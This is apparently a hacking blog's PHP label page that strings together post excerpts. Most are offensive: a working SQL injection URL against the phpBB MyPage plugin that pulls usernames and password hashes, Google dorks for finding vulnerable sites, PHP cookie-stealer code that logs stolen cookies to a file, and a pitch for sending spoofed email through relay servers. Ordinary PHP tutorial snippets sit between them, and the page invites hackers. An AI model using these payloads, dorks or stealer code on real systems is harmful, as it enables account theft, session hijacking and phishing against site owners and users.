Showing posts with label PHP. Show all posts
Showing posts with label PHP. Show all posts

Family Connections less.php Remote Command Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 

Php City Portal Script Software SQL Injection

############################################################################
# Exploit Title: *Php City Portal Script Software SQL Injection*
# Google Dork: *Powered by PHPCityPortal.com*
# Date: *Decembar/07/2011*
# Author: *Don (BalcanCrew & BalcanHack)*
# Software Link: *http://phpcityportal.com*
# Version: *1.1*
# Tested on: *Apache (Unix)*
############################################################################

phpBB MyPage Plugin SQL Injection

====================================================
 MyPage plugin (phpBB) SQL Injection (All versions)
====================================================
====================================================
Improve your hacking knowledges !
====================================================
====================================================
VISIT http://HackSociety.net !
====================================================
# Exploit Title: SQL Injection on the plugin phpBB plugin MyPage
# Google Dork: inurl:"mypage.php?id="
# Date: 06/12/2011
# Author: CrazyMouse (from HackSociety.net)
# Version: 0.2.3 (this is the last avaliable version, older versions are also vulnerable)
# Tested on: Windows 7 x64 (Firefox)
====================================================
VISIT http://HackSociety.net !
====================================================
[~] Exploit:
   
        http://localhost/forum/
  
  
[~]     http://localhost/forum/mypage.php?id= (SQL)
[~] Example:
    http://server/forum/mypage.php?id=1%27+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+%28select+concat%280x7e%2C0x27%2Cphpbb_users.user_id%2C0x5e%2Cphpbb_users.user_type%2C0x5e%2Cphpbb_users.group_id%2C0x5e%2Cphpbb_users.username%2C0x5e%2Cphpbb_users.user_password%2C0x27%2C0x7e%29+from+%60forum_domperm%60.phpbb_users+limit+5%2C1%29+%29+from+%60information_schema%60.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+%60information_schema%60.tables+group+by+x%29a%29+and+%271%27%3D%271
====================================================
   
# Thanks to
  
Crassus
  
====================================================
====================================================
====================================================

How to Detect Browser Type in PHP

PHP is a very versatile web programming language that allows web server to serve dynamic content to visitors. PHP can detect and identify the type and version of web browser that visitor used to browse the web page in order to output and display browser-specific targeted content such as custom text, and especially to provide compatibility for older version or non-standard compliant browser with custom HTML or CSS markup.

PHP: How to Truncate A String with Full Whole Word At the End

PHP has several functions which can truncate a string to grab a portion of the string up to certain number of characters. However, there is possibility that a word can be cut off in the middle of nowhere into two, making the separated word unintelligible. The situation is not an error, but by design, as most commands such as substr() simply return portion of string instructed by start position and length parameters.

Simple PHP Password Protection


A simple PHP script that offers easy to install, secure website password protection for any kind of server. Offers quite a few optional features, like logging incorrect login attempts, brute force protection etc, but still remains very simple to implement.

PHP Password Features:
  • Session based password – no need to re-enter
  • Can protect multiple files

Small PHP Tools

Here I present various online web applications that you can use from your browser. In most cases, PHP source code is provided.
If there’s an app here that you want the source to, email me.
Domain2Country
tells you, for instance, that the .am TLD is for Armenia
(no source)
IP2Country

Free PHP Scripts / Web Projects

Various PHP projects of mine, with free GPL source code.
Mostly, these are small PHP/mySQL applications that provide an equally small piece of functionality. Source code is available under the GPL in most cases.
If you use any of the code here and would like to show your appreciation, please consider putting a link to this website on your site, writing about me on your blog, telling your friends, paying for TV/magazine adverts for me, etc etc ;-)

How to Send Anonymous Emails

The art of sending this kind emails is known as Email Spoofing.This method used to work successfully in the past, but today it has a very low success rate since Gmail and Yahoo(all major email service providers) blocks the emails that are sent directly from a PC. In this post I have come up with a new way to send anonymous emails (spoofed emails) that has 100% success rate. If you have to successfully send an anonymous email or spoofed email, you should send it using a relay server.
What is a Relay Server?

The New Face of War & Hacking PHP

A couple of weeks ago I attended a lecture at the Pritzker Military Library given by Bruce Berkowitz. You can actually watch the archived lecture here. The library is about as atypical for a library as it gets. It is essentially a personal collection of 12,000 military related books and other assorted artifacts donated really, really rich guy that spent some time in the Army. It's on the third floor of a commercial building in downtown Chicago, which also happens to house a Chipolte, a whole flock of lawyers (what do you call a bunch of lawyers? a gaggle?) and one of my favorite indian resturants.

create cookie stealer Coding in PHP?- get via email

Here is the simple Cookie Stealer code:
Cookie stored in File:

<?php
$cookie = $HTTP_GET_VARS["cookie"];
$steal = fopen("cookiefile.txt", "a");
fwrite($steal, $cookie ."\\n");
fclose($steal);
?>

Number

Powered by Blog templates
HostGator Promo Code
Free Automatic Link Crack Rule All the hackers are Welcome. Please contribute your support to make this blog one of the top latest hacking trick adda. Free Backlinks Web Directories